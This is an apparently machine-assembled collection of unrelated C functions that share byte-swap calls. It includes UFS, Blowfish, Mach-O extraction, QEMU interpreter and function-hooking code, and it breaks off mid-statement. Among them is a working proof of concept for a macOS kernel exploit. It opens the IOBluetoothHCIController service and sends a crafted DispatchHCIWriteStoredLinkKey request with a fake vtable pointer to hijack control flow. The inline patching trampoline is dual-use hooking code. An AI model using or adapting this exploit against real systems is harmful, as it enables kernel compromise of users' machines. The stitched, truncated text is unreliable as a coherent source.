/* * Note that ffs_cg_swap may be called with o == n. */ void ffs_cg_swap(struct cg *o, struct cg *n, struct fs *fs) { int i; u_int32_t *n32, *o32; u_int16_t *n16, *o16; int32_t btotoff, boff, clustersumoff; n->cg_firstfield = bswap32(o->cg_firstfield); n->cg_magic = bswap32(o->cg_magic); n->cg_old_time = bswap32(o->cg_old_time); n->cg_cgx = bswap32(o->cg_cgx); n->cg_old_ncyl = bswap16(o->cg_old_ncyl); n->cg_old_niblk = bswap16(o->cg_old_niblk); n->cg_ndblk = bswap32(o->cg_ndblk); n->cg_cs.cs_ndir = bswap32(o->cg_cs.cs_ndir); n->cg_cs.cs_nbfree = bswap32(o->cg_cs.cs_nbfree); n->cg_cs.cs_nifree = bswap32(o->cg_cs.cs_nifree); n->cg_cs.cs_nffree = bswap32(o->cg_cs.cs_nffree); n->cg_rotor = bswap32(o->cg_rotor); n->cg_frotor = bswap32(o->cg_frotor); n->cg_irotor = bswap32(o->cg_irotor); for (i = 0; i < MAXFRAG; i++) n->cg_frsum[i] = bswap32(o->cg_frsum[i]); n->cg_old_btotoff = bswap32(o->cg_old_btotoff); n->cg_old_boff = bswap32(o->cg_old_boff); n->cg_iusedoff = bswap32(o->cg_iusedoff); n->cg_freeoff = bswap32(o->cg_freeoff); n->cg_nextfreeoff = bswap32(o->cg_nextfreeoff); n->cg_clustersumoff = bswap32(o->cg_clustersumoff); n->cg_clusteroff = bswap32(o->cg_clusteroff); n->cg_nclusterblks = bswap32(o->cg_nclusterblks); #ifndef __DragonFly__ n->cg_niblk = bswap32(o->cg_niblk); n->cg_initediblk = bswap32(o->cg_initediblk); n->cg_time = bswap64(o->cg_time); #endif #ifndef __DragonFly__ /* XXX UFS2 */ if (fs->fs_magic == FS_UFS2_MAGIC) return; #endif if (n->cg_magic == CG_MAGIC) { btotoff = n->cg_old_btotoff; boff = n->cg_old_boff; clustersumoff = n->cg_clustersumoff; } else { btotoff = bswap32(n->cg_old_btotoff); boff = bswap32(n->cg_old_boff); clustersumoff = bswap32(n->cg_clustersumoff); } n32 = (u_int32_t *)((u_int8_t *)n + btotoff); o32 = (u_int32_t *)((u_int8_t *)o + btotoff); n16 = (u_int16_t *)((u_int8_t *)n + boff); o16 = (u_int16_t *)((u_int8_t *)o + boff); for (i = 0; i < fs->fs_old_cpg; i++) n32[i] = bswap32(o32[i]); for (i = 0; i < fs->fs_old_cpg * fs->fs_old_nrpos; i++) n16[i] = bswap16(o16[i]); n32 = (u_int32_t *)((u_int8_t *)n + clustersumoff); o32 = (u_int32_t *)((u_int8_t *)o + clustersumoff); for (i = 1; i < fs->fs_contigsumsize + 1; i++) n32[i] = bswap32(o32[i]); }
int main(void) { struct BluetoothCall a; int i; void *landing_page = calloc(SIZE, sizeof(char)); /* Init a */ for (i = 0; i < 7; i++) { a.args[i] = (uint64_t) calloc(SIZE, sizeof(char)); a.sizes[i] = SIZE; } /* Finding vuln service */ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (!service) { return -1; } /* Connect to vuln service */ io_connect_t port = (io_connect_t) 0; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); IOObjectRelease(service); if (kr != kIOReturnSuccess) { return kr; } /* Populating with fake requests. */ create_requests(port); /* IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() */ a.index = 42; /* Req number */ *((uint32_t *)a.args[0]) = 1; /* num_of_keys */ *((uint32_t *)a.args[1]) = 0x20; /* Padding */ memset((void *)a.args[3], 0x33, 152); /* mov rdi, [r14+0AB8h] */ *((uint64_t *)(a.args[3]+152)) = bswap64((uint64_t)landing_page); /* mov rax, [rdi] */ *((uint64_t *)((uint64_t)landing_page)) = (uint64_t)landing_page; /* call [rax+0x1d0]: this will trigger a #GP calling 0x4141414142424242 */ *((uint64_t *)((uint64_t)landing_page+0x1d0)) = (uint64_t) 0x4141414142424242; /* Here some fixing to the vtable is required to return cleanly after the exploit */ #if 0 /* Debug print */ for(i = 0; i < 120; i++) { if(i % 8 == 0) printf("\n"); printf("\\x%02x", ((unsigned char *)&a)[i]); } printf("\n"); #endif kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0, /* input, inputCnt */ (const void*) &a, /* inputStruct */ 120, /* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ printf("kr: %08x\n", kr); return IOServiceClose(port); }
static inline int64_t SWAPS64(int64_t x) { return bswap64(x); }
static inline uint64_t SWAPU64(uint64_t x) { return bswap64(x); }
struct arch_trampoline * mach_trampoline(void *org, void *act) { void *addr = org; void *overrideFunctionAddress = act; for(;;) { if(*(u16*)addr==0x25FF) // jmp qword near [rip+0x????????] addr=*(void**)((char*)addr+6+*(u32*)((u16*)addr+1)); else break; } long *originalFunctionPtr = (long*) addr; int eatenCount = 0; int count = 0; char instr[BRANCH_SIZE]; u8 sizes[BRANCH_SIZE]; u64 instr_jmp_rel = 0; // JMP int err; struct x86_prologue prologue; x86_branch_prologue(&prologue, (u8 *)originalFunctionPtr, 5); if ((x86_prologue ((u8*)originalFunctionPtr, &instr_jmp_rel, &eatenCount, instr, &count, sizes ))) return NULL; if (eatenCount > BRANCH_SIZE) return NULL; err = vm_protect( mach_task_self(), (vm_address_t) originalFunctionPtr, 8, false, (VM_PROT_ALL | VM_PROT_COPY) ); if( err ) err = vm_protect( mach_task_self(), (vm_address_t) originalFunctionPtr, 8, false, (VM_PROT_DEFAULT | VM_PROT_COPY) ); struct trampoline *escape = mach_tramp_alloc(addr); err = mach_tramp_branch(escape, overrideFunctionAddress, 0 ); u32 addr_off = ((u8*)escape - (u8*)originalFunctionPtr - 5); addr_off = bswap32(addr_off); instr_jmp_rel |= 0xE900000000000000LL; instr_jmp_rel |= ((u64)addr_off & 0xffffffff) << 24; instr_jmp_rel = bswap64(instr_jmp_rel); struct trampoline *reentry = NULL; reentry = mach_tramp_alloc(escape); fixupInstr(originalFunctionPtr, reentry, instr, count, sizes ); if( reentry ) err = mach_tramp_branch( reentry, (void*)((u8*)originalFunctionPtr+eatenCount), instr ); if ((err = page_addr_protect(escape, PROT_EXEC | PROT_READ))) goto cleanup; if ((err = page_addr_protect(reentry, PROT_EXEC | PROT_READ))) goto cleanup; atomic_mov64((u64*)originalFunctionPtr, instr_jmp_rel); mach_error_t prot_err = err_none; prot_err = vm_protect(mach_task_self(), (vm_address_t) originalFunctionPtr, 8, false, (VM_PROT_READ | VM_PROT_EXECUTE) ); return (struct arch_trampoline *)reentry; cleanup: if( reentry ) mach_tramp_free( reentry ); if( escape ) mach_tramp_free( escape ); return NULL; }
int crypto_stream_xor(unsigned char *out, const unsigned char *in, unsigned long long inlen, const unsigned char *n, const unsigned char *k) { #define PTR_ALIGN(ptr, mask) ((void *)((((long)(ptr)) + (mask)) & ~((long)(mask)))) const unsigned long align = 16; char ctxbuf[sizeof(struct blowfish_ctx) + align]; struct blowfish_ctx *ctx = PTR_ALIGN(ctxbuf, align - 1); uint64_t iv; uint64_t ivs[16]; unsigned int i; blowfish_init(ctx, k, CRYPTO_KEYBYTES); bswap64(&iv, (const uint64_t *)n); /* be => le */ while (likely(inlen >= BLOCKSIZE * 16)) { bswap64(&ivs[0], &iv); /* le => be */ for (i = 1; i < 16; i++) { add64(&ivs[i], &iv, i); bswap64(&ivs[i], &ivs[i]); /* le => be */ } add64(&iv, &iv, 16); __blowfish_enc_blk_16way(ctx, out, (uint8_t *)ivs, 0); if (unlikely(in)) { for (i = 0; i < 16; i+=2) xor128(&((uint64_t *)out)[i], &((uint64_t *)out)[i], &((uint64_t *)in)[i]); in += BLOCKSIZE * 16; } out += BLOCKSIZE * 16; inlen -= BLOCKSIZE * 16; } if (unlikely(inlen > 0)) { unsigned int nblock = inlen / BLOCKSIZE; unsigned int lastlen = inlen % BLOCKSIZE; unsigned int j; for (i = 0; i < nblock + !!lastlen; i++) { bswap64(&ivs[i], &iv); /* le => be */ inc64(&iv); } for (; i < 16; i++) { ivs[i] = 0; } __blowfish_enc_blk_16way(ctx, (uint8_t *)ivs, (uint8_t *)ivs, 0); if (in) { for (i = 0; inlen >= 2*BLOCKSIZE; i+=2) { xor128((uint64_t *)out, (uint64_t *)in, (uint64_t *)&ivs[i]); inlen -= 2*BLOCKSIZE; in += 2*BLOCKSIZE; out += 2*BLOCKSIZE; } for (j = 0; j < inlen; j++) out[j] = in[j] ^ ((uint8_t*)&ivs[i])[j]; } else { for (i = 0; inlen >= 2*BLOCKSIZE; i+=2) { mov128((uint64_t *)out, (uint64_t *)&ivs[i]); inlen -= 2*BLOCKSIZE; out += 2*BLOCKSIZE; } for (j = 0; j < inlen; j++) out[j] = ((uint8_t*)&ivs[i])[j]; } } return 0; }
uint8_t extract_mhobject(ea_t address, char *outputFilename) { uint32 magicValue = get_long(address); struct mach_header *mach_header = NULL; struct mach_header_64 *mach_header64 = NULL; uint8_t arch = 0; if (magicValue == MH_MAGIC) { #if DEBUG msg("[DEBUG] Target is 32bits!\n"); #endif mach_header = (struct mach_header *)qalloc(sizeof(struct mach_header)); // retrieve mach_header contents if(!get_many_bytes(address, mach_header, sizeof(struct mach_header))) { msg("[ERROR] Read bytes failed!\n"); return 1; } } else if (magicValue == MH_MAGIC_64) { #if DEBUG msg("[DEBUG] Target is 64bits!\n"); #endif mach_header64 = (struct mach_header_64 *)qalloc(sizeof(struct mach_header_64)); if(!get_many_bytes(address, mach_header64, sizeof(struct mach_header_64))) { msg("[ERROR] Read bytes failed!\n"); return 1; } arch = 1; } // open output file FILE *outputFile = qfopen(outputFilename, "wb+"); if (outputFile == NULL) { msg("[ERROR] Could not open %s file!\n", outputFilename); return 1; } /* * we need to write 3 distinct blocks of data: * 1) the mach_header * 2) the load commands * 3) the code and data from the LC_SEGMENT/LC_SEGMENT_64 commands */ // write the mach_header to the file if (arch) qfwrite(outputFile, mach_header64, sizeof(struct mach_header_64)); else qfwrite(outputFile, mach_header, sizeof(struct mach_header)); // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM) { mach_header->ncmds = ntohl(mach_header->ncmds); mach_header->sizeofcmds = ntohl(mach_header->sizeofcmds); } else if (magicValue == MH_CIGAM_64) { mach_header64->ncmds = ntohl(mach_header64->ncmds); mach_header64->sizeofcmds = ntohl(mach_header64->sizeofcmds); } // read the load commands uint32_t ncmds = arch ? mach_header64->ncmds : mach_header->ncmds; uint32_t sizeofcmds = arch ? mach_header64->sizeofcmds : mach_header->sizeofcmds; uint32_t headerSize = arch ? sizeof(struct mach_header_64) : sizeof(struct mach_header); uint8_t *loadcmdsBuffer = NULL; loadcmdsBuffer = (uint8_t*)qalloc(sizeofcmds); get_many_bytes(address + headerSize, loadcmdsBuffer, sizeofcmds); // write all the load commands block to the output file // only LC_SEGMENT commands contain further data qfwrite(outputFile, loadcmdsBuffer, sizeofcmds); // and now process the load commands so we can retrieve code and data struct load_command loadCommand; ea_t cmdsBaseAddress = address + headerSize; // read segments so we can write the code and data // only the segment commands have useful information for (uint32_t i = 0; i < ncmds; i++) { get_many_bytes(cmdsBaseAddress, &loadCommand, sizeof(struct load_command)); struct segment_command segmentCommand; struct segment_command_64 segmentCommand64; // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM || magicValue == MH_CIGAM_64) { loadCommand.cmd = ntohl(loadCommand.cmd); loadCommand.cmdsize = ntohl(loadCommand.cmdsize); } // 32bits targets if (loadCommand.cmd == LC_SEGMENT) { get_many_bytes(cmdsBaseAddress, &segmentCommand, sizeof(struct segment_command)); // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM) { segmentCommand.nsects = ntohl(segmentCommand.nsects); segmentCommand.fileoff = ntohl(segmentCommand.fileoff); segmentCommand.filesize = ntohl(segmentCommand.filesize); } ea_t sectionAddress = cmdsBaseAddress + sizeof(struct segment_command); struct section sectionCommand; // iterate thru all sections to find the first code offset // FIXME: we need to find the lowest one since the section info can be reordered for (uint32_t x = 0; x < segmentCommand.nsects; x++) { get_many_bytes(sectionAddress, §ionCommand, sizeof(struct section)); // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM) { sectionCommand.offset = ntohl(sectionCommand.offset); sectionCommand.nreloc = ntohl(sectionCommand.nreloc); sectionCommand.reloff = ntohl(sectionCommand.reloff); } if (sectionCommand.nreloc > 0) { uint32_t size = sectionCommand.nreloc*sizeof(struct relocation_info); uint8_t *relocBuf = (uint8_t*)qalloc(size); get_many_bytes(address + sectionCommand.reloff, relocBuf, size); qfseek(outputFile, sectionCommand.reloff, SEEK_SET); qfwrite(outputFile, relocBuf, size); qfree(relocBuf); } sectionAddress += sizeof(struct section); } // read and write the data uint8_t *buf = (uint8_t*)qalloc(segmentCommand.filesize); get_many_bytes(address + segmentCommand.fileoff, buf, segmentCommand.filesize); // always set the offset qfseek(outputFile, segmentCommand.fileoff, SEEK_SET); qfwrite(outputFile, buf, segmentCommand.filesize); qfree(buf); } // we need this to dump missing relocations else if (loadCommand.cmd == LC_SYMTAB) { struct symtab_command symtabCommand; get_many_bytes(cmdsBaseAddress, &symtabCommand, sizeof(struct symtab_command)); // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM || magicValue == MH_CIGAM_64) { symtabCommand.nsyms = ntohl(symtabCommand.nsyms); symtabCommand.symoff = ntohl(symtabCommand.symoff); symtabCommand.stroff = ntohl(symtabCommand.stroff); symtabCommand.strsize = ntohl(symtabCommand.strsize); } if (symtabCommand.symoff > 0) { void *buf = qalloc(symtabCommand.nsyms*sizeof(struct nlist)); get_many_bytes(address + symtabCommand.symoff, buf, symtabCommand.nsyms*sizeof(struct nlist)); qfseek(outputFile, symtabCommand.symoff, SEEK_SET); qfwrite(outputFile, buf, symtabCommand.nsyms*sizeof(struct nlist)); qfree(buf); } if (symtabCommand.stroff > 0) { void *buf = qalloc(symtabCommand.strsize); get_many_bytes(address + symtabCommand.stroff, buf, symtabCommand.strsize); qfseek(outputFile, symtabCommand.stroff, SEEK_SET); qfwrite(outputFile, buf, symtabCommand.strsize); qfree(buf); } } // 64bits targets // FIXME: will this work ? needs to be tested :-) else if (loadCommand.cmd == LC_SEGMENT_64) { get_many_bytes(cmdsBaseAddress, &segmentCommand64, sizeof(struct segment_command_64)); // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM_64) { segmentCommand64.nsects = ntohl(segmentCommand64.nsects); segmentCommand64.fileoff = bswap64(segmentCommand64.fileoff); segmentCommand64.filesize = bswap64(segmentCommand64.filesize); } ea_t sectionAddress = cmdsBaseAddress + sizeof(struct segment_command_64); struct section_64 sectionCommand64; for (uint32_t x = 0; x < segmentCommand64.nsects; x++) { get_many_bytes(sectionAddress, §ionCommand64, sizeof(struct section_64)); // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM_64) { sectionCommand64.offset = ntohl(sectionCommand64.offset); sectionCommand64.nreloc = ntohl(sectionCommand64.nreloc); sectionCommand64.reloff = ntohl(sectionCommand64.reloff); } if (sectionCommand64.nreloc > 0) { uint32_t size = sectionCommand64.nreloc*sizeof(struct relocation_info); uint8_t *relocBuf = (uint8_t*)qalloc(size); get_many_bytes(address + sectionCommand64.reloff, relocBuf, size); qfseek(outputFile, sectionCommand64.reloff, SEEK_SET); qfwrite(outputFile, relocBuf, size); qfree(relocBuf); } sectionAddress += sizeof(struct section_64); } // read and write the data uint8_t *buf = (uint8_t*)qalloc(segmentCommand64.filesize); get_many_bytes(address + segmentCommand64.fileoff, buf, segmentCommand64.filesize); qfseek(outputFile, segmentCommand64.fileoff, SEEK_SET); qfwrite(outputFile, buf, segmentCommand64.filesize); qfree(buf); } cmdsBaseAddress += loadCommand.cmdsize; } // all done, close file and free remaining buffers! qfclose(outputFile); qfree(mach_header); qfree(mach_header64); qfree(loadcmdsBuffer); return 0; }
/* * function to extract non-fat binaries, 32 and 64bits */ uint8_t extract_macho(ea_t address, char *outputFilename) { uint32 magicValue = get_long(address); struct mach_header *mach_header = NULL; struct mach_header_64 *mach_header64 = NULL; uint8_t arch = 0; if (magicValue == MH_MAGIC || magicValue == MH_CIGAM) { #if DEBUG msg("[DEBUG] Target is 32bits!\n"); #endif mach_header = (struct mach_header *)qalloc(sizeof(struct mach_header)); // retrieve mach_header contents if(!get_many_bytes(address, mach_header, sizeof(struct mach_header))) { msg("[ERROR] Read bytes failed!\n"); return 1; } } else if (magicValue == MH_MAGIC_64 || magicValue == MH_CIGAM_64) { #if DEBUG msg("[DEBUG] Target is 64bits!\n"); #endif mach_header64 = (struct mach_header_64 *)qalloc(sizeof(struct mach_header_64)); if(!get_many_bytes(address, mach_header64, sizeof(struct mach_header_64))) { msg("[ERROR] Read bytes failed!\n"); return 1; } arch = 1; } else { msg("[ERROR] Unknown target!\n"); return 1; } // open output file FILE *outputFile = qfopen(outputFilename, "wb+"); if (outputFile == NULL) { msg("[ERROR] Could not open %s file!\n", outputFilename); return 1; } /* * we need to write 3 distinct blocks of data: * 1) the mach_header * 2) the load commands * 3) the code and data from the LC_SEGMENT/LC_SEGMENT_64 commands */ // write the mach_header to the file if (arch) qfwrite(outputFile, mach_header64, sizeof(struct mach_header_64)); else qfwrite(outputFile, mach_header, sizeof(struct mach_header)); // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM) { mach_header->ncmds = ntohl(mach_header->ncmds); mach_header->sizeofcmds = ntohl(mach_header->sizeofcmds); } else if (magicValue == MH_CIGAM_64) { mach_header64->ncmds = ntohl(mach_header64->ncmds); mach_header64->sizeofcmds = ntohl(mach_header64->sizeofcmds); } // read the load commands uint32_t ncmds = arch ? mach_header64->ncmds : mach_header->ncmds; uint32_t sizeofcmds = arch ? mach_header64->sizeofcmds : mach_header->sizeofcmds; uint32_t headerSize = arch ? sizeof(struct mach_header_64) : sizeof(struct mach_header); uint8_t *loadcmdsBuffer = NULL; loadcmdsBuffer = (uint8_t*)qalloc(sizeofcmds); get_many_bytes(address + headerSize, loadcmdsBuffer, sizeofcmds); // write all the load commands block to the output file // only LC_SEGMENT commands contain further data qfwrite(outputFile, loadcmdsBuffer, sizeofcmds); // and now process the load commands so we can retrieve code and data struct load_command loadCommand; ea_t cmdsBaseAddress = address + headerSize; ea_t codeOffset = 0; // read segments so we can write the code and data // only the segment commands have useful information for (uint32_t i = 0; i < ncmds; i++) { get_many_bytes(cmdsBaseAddress, &loadCommand, sizeof(struct load_command)); struct segment_command segmentCommand; struct segment_command_64 segmentCommand64; // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM || magicValue == MH_CIGAM_64) { loadCommand.cmd = ntohl(loadCommand.cmd); loadCommand.cmdsize = ntohl(loadCommand.cmdsize); } // 32bits targets // FIXME: do we also need to dump the relocs info here ? if (loadCommand.cmd == LC_SEGMENT) { get_many_bytes(cmdsBaseAddress, &segmentCommand, sizeof(struct segment_command)); // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM) { segmentCommand.nsects = ntohl(segmentCommand.nsects); segmentCommand.fileoff = ntohl(segmentCommand.fileoff); segmentCommand.filesize = ntohl(segmentCommand.filesize); } // the file offset info in LC_SEGMENT is zero at __TEXT so we need to get it from the sections // the size is ok to be used if (strncmp(segmentCommand.segname, "__TEXT", 16) == 0) { ea_t sectionAddress = cmdsBaseAddress + sizeof(struct segment_command); struct section sectionCommand; // iterate thru all sections to find the first code offset // FIXME: we need to find the lowest one since the section info can be reordered for (uint32_t x = 0; x < segmentCommand.nsects; x++) { get_many_bytes(sectionAddress, §ionCommand, sizeof(struct section)); // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM) sectionCommand.offset = ntohl(sectionCommand.offset); if (strncmp(sectionCommand.sectname, "__text", 16) == 0) { codeOffset = sectionCommand.offset; break; } sectionAddress += sizeof(struct section); } } // for all other segments the fileoffset info in the LC_SEGMENT is valid so we can use it else { codeOffset = segmentCommand.fileoff; } // read and write the data uint8_t *buf = (uint8_t*)qalloc(segmentCommand.filesize); get_many_bytes(address + codeOffset, buf, segmentCommand.filesize); // always set the offset qfseek(outputFile, codeOffset, SEEK_SET); qfwrite(outputFile, buf, segmentCommand.filesize); qfree(buf); } // 64bits targets else if (loadCommand.cmd == LC_SEGMENT_64) { get_many_bytes(cmdsBaseAddress, &segmentCommand64, sizeof(struct segment_command_64)); // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM_64) { segmentCommand64.nsects = ntohl(segmentCommand64.nsects); segmentCommand64.fileoff = bswap64(segmentCommand64.fileoff); segmentCommand64.filesize = bswap64(segmentCommand64.filesize); } if(strncmp(segmentCommand64.segname, "__TEXT", 16) == 0) { ea_t sectionAddress = cmdsBaseAddress + sizeof(struct segment_command_64); struct section_64 sectionCommand64; for (uint32_t x = 0; x < segmentCommand64.nsects; x++) { get_many_bytes(sectionAddress, §ionCommand64, sizeof(struct section_64)); // swap the endianness of some fields if it's powerpc target if (magicValue == MH_CIGAM_64) sectionCommand64.offset = ntohl(sectionCommand64.offset); if (strncmp(sectionCommand64.sectname, "__text", 16) == 0) { codeOffset = sectionCommand64.offset; break; } sectionAddress += sizeof(struct section_64); } } else { codeOffset = segmentCommand64.fileoff; } // read and write the data uint8_t *buf = (uint8_t*)qalloc(segmentCommand64.filesize); get_many_bytes(address + codeOffset, buf, segmentCommand64.filesize); qfseek(outputFile, codeOffset, SEEK_SET); qfwrite(outputFile, buf, segmentCommand64.filesize); qfree(buf); } cmdsBaseAddress += loadCommand.cmdsize; } // all done, close file and free remaining buffers! qfclose(outputFile); qfree(mach_header); qfree(mach_header64); qfree(loadcmdsBuffer); return 0; }
/* Interpret pseudo code in tb. */ uintptr_t tcg_qemu_tb_exec(CPUArchState *env, uint8_t *tb_ptr) { long tcg_temps[CPU_TEMP_BUF_NLONGS]; uintptr_t sp_value = (uintptr_t)(tcg_temps + CPU_TEMP_BUF_NLONGS); uintptr_t next_tb = 0; tci_reg[TCG_AREG0] = (tcg_target_ulong)env; tci_reg[TCG_REG_CALL_STACK] = sp_value; assert(tb_ptr); for (;;) { TCGOpcode opc = tb_ptr[0]; #if !defined(NDEBUG) uint8_t op_size = tb_ptr[1]; uint8_t *old_code_ptr = tb_ptr; #endif tcg_target_ulong t0; tcg_target_ulong t1; tcg_target_ulong t2; tcg_target_ulong label; TCGCond condition; target_ulong taddr; #ifndef CONFIG_SOFTMMU tcg_target_ulong host_addr; #endif uint8_t tmp8; uint16_t tmp16; uint32_t tmp32; uint64_t tmp64; #if TCG_TARGET_REG_BITS == 32 uint64_t v64; #endif #if defined(GETPC) tci_tb_ptr = (uintptr_t)tb_ptr; #endif /* Skip opcode and size entry. */ tb_ptr += 2; switch (opc) { case INDEX_op_end: case INDEX_op_nop: break; case INDEX_op_nop1: case INDEX_op_nop2: case INDEX_op_nop3: case INDEX_op_nopn: case INDEX_op_discard: TODO(); break; case INDEX_op_set_label: TODO(); break; case INDEX_op_call: t0 = tci_read_ri(&tb_ptr); #if TCG_TARGET_REG_BITS == 32 tmp64 = ((helper_function)t0)(tci_read_reg(TCG_REG_R0), tci_read_reg(TCG_REG_R1), tci_read_reg(TCG_REG_R2), tci_read_reg(TCG_REG_R3), tci_read_reg(TCG_REG_R5), tci_read_reg(TCG_REG_R6), tci_read_reg(TCG_REG_R7), tci_read_reg(TCG_REG_R8), tci_read_reg(TCG_REG_R9), tci_read_reg(TCG_REG_R10)); tci_write_reg(TCG_REG_R0, tmp64); tci_write_reg(TCG_REG_R1, tmp64 >> 32); #else tmp64 = ((helper_function)t0)(tci_read_reg(TCG_REG_R0), tci_read_reg(TCG_REG_R1), tci_read_reg(TCG_REG_R2), tci_read_reg(TCG_REG_R3), tci_read_reg(TCG_REG_R5)); tci_write_reg(TCG_REG_R0, tmp64); #endif break; case INDEX_op_br: label = tci_read_label(&tb_ptr); assert(tb_ptr == old_code_ptr + op_size); tb_ptr = (uint8_t *)label; continue; case INDEX_op_setcond_i32: t0 = *tb_ptr++; t1 = tci_read_r32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); condition = *tb_ptr++; tci_write_reg32(t0, tci_compare32(t1, t2, condition)); break; #if TCG_TARGET_REG_BITS == 32 case INDEX_op_setcond2_i32: t0 = *tb_ptr++; tmp64 = tci_read_r64(&tb_ptr); v64 = tci_read_ri64(&tb_ptr); condition = *tb_ptr++; tci_write_reg32(t0, tci_compare64(tmp64, v64, condition)); break; #elif TCG_TARGET_REG_BITS == 64 case INDEX_op_setcond_i64: t0 = *tb_ptr++; t1 = tci_read_r64(&tb_ptr); t2 = tci_read_ri64(&tb_ptr); condition = *tb_ptr++; tci_write_reg64(t0, tci_compare64(t1, t2, condition)); break; #endif case INDEX_op_mov_i32: t0 = *tb_ptr++; t1 = tci_read_r32(&tb_ptr); tci_write_reg32(t0, t1); break; case INDEX_op_movi_i32: t0 = *tb_ptr++; t1 = tci_read_i32(&tb_ptr); tci_write_reg32(t0, t1); break; /* Load/store operations (32 bit). */ case INDEX_op_ld8u_i32: t0 = *tb_ptr++; t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); tci_write_reg8(t0, *(uint8_t *)(t1 + t2)); break; case INDEX_op_ld8s_i32: case INDEX_op_ld16u_i32: TODO(); break; case INDEX_op_ld16s_i32: TODO(); break; case INDEX_op_ld_i32: t0 = *tb_ptr++; t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); tci_write_reg32(t0, *(uint32_t *)(t1 + t2)); break; case INDEX_op_st8_i32: t0 = tci_read_r8(&tb_ptr); t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); *(uint8_t *)(t1 + t2) = t0; break; case INDEX_op_st16_i32: t0 = tci_read_r16(&tb_ptr); t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); *(uint16_t *)(t1 + t2) = t0; break; case INDEX_op_st_i32: t0 = tci_read_r32(&tb_ptr); t1 = tci_read_r(&tb_ptr); t2 = tci_read_s32(&tb_ptr); assert(t1 != sp_value || (int32_t)t2 < 0); *(uint32_t *)(t1 + t2) = t0; break; /* Arithmetic operations (32 bit). */ case INDEX_op_add_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, t1 + t2); break; case INDEX_op_sub_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, t1 - t2); break; case INDEX_op_mul_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, t1 * t2); break; #if TCG_TARGET_HAS_div_i32 case INDEX_op_div_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, (int32_t)t1 / (int32_t)t2); break; case INDEX_op_divu_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, t1 / t2); break; case INDEX_op_rem_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, (int32_t)t1 % (int32_t)t2); break; case INDEX_op_remu_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, t1 % t2); break; #elif TCG_TARGET_HAS_div2_i32 case INDEX_op_div2_i32: case INDEX_op_divu2_i32: TODO(); break; #endif case INDEX_op_and_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, t1 & t2); break; case INDEX_op_or_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, t1 | t2); break; case INDEX_op_xor_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, t1 ^ t2); break; /* Shift/rotate operations (32 bit). */ case INDEX_op_shl_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, t1 << t2); break; case INDEX_op_shr_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, t1 >> t2); break; case INDEX_op_sar_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, ((int32_t)t1 >> t2)); break; #if TCG_TARGET_HAS_rot_i32 case INDEX_op_rotl_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, rol32(t1, t2)); break; case INDEX_op_rotr_i32: t0 = *tb_ptr++; t1 = tci_read_ri32(&tb_ptr); t2 = tci_read_ri32(&tb_ptr); tci_write_reg32(t0, ror32(t1, t2)); break; #endif #if TCG_TARGET_HAS_deposit_i32 case INDEX_op_deposit_i32: t0 = *tb_ptr++; t1 = tci_read_r32(&tb_ptr); t2 = tci_read_r32(&tb_ptr); tmp16 = *tb_ptr++; tmp8 = *tb_ptr++; tmp32 = (((1 << tmp8) - 1) << tmp16); tci_write_reg32(t0, (t1 & ~tmp32) | ((t2 << tmp16) & tmp32)); break; #endif case INDEX_op_brcond_i32: t0 = tci_read_r32(&tb_ptr); t1 = tci_read_ri32(&tb_ptr); condition = *tb_ptr++; label = tci_read_label(&tb_ptr); if (tci_compare32(t0, t1, condition)) { assert(tb_ptr == 